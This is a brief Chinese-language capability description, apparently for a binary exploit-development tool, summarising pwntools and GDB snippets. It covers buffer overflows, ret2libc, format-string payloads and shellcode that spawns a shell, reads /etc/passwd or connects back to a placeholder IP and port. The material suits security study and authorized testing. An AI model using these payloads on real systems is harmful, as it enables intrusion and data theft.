用途:面向二进制漏洞利用开发(exploit development),用于编写 exploit 与 PoC,覆盖缓冲区溢出、shellcode、ROP、格式化字符串与二进制利用等方向。
主要能力与示例用法(来自资料,命令保持原样): 缓冲区溢出:用 pwntools 的 cyclic(200) 生成模式,cyclic_find(0x61616166) 定位偏移;基本利用为 offset = 64,ret_addr = p64(0x401234),payload = b'A' * offset + ret_addr。带 NX 绕过时使用 ret2libc:libc = ELF('/lib/x86_64-linux-gnu/libc.so.6'),system = libc.symbols['system'],bin_sh = next(libc.search(b'/bin/sh'))。 格式化字符串:读取栈用 payload = b'%x.' * 20 或 payload = b'%7$s';写地址用 fmtstr_payload(offset, {target_addr: value})。 shellcode:context.arch = 'amd64' 配合 asm(shellcraft.sh());常见 shellcraft.sh()、shellcraft.cat('/etc/passwd')、shellcraft.connect('IP', PORT)。 pwntools 基础:from pwn import *;context.binary = ELF('./vuln')、context.log_level = 'debug';连接方式有 process('./vuln')、remote('ip', port)、gdb.debug('./vuln');I/O 有 sendline、recvuntil、recv,最后用 interactive()。 GDB:checksec 查看安全特性,info functions 列出函数,disas main 反汇编,b *0x401234 下断点,r < payload.txt 带输入运行,x/20wx $rsp 查看栈。
适用场景:安全研究与授权测试中的漏洞利用开发、PoC 编写与二进制利用练习。
限制:资料仅给出上述命令与片段,未提供安装步骤、依赖版本、平台支持范围、收费信息或完整利用流程;请仅在合法授权范围内使用。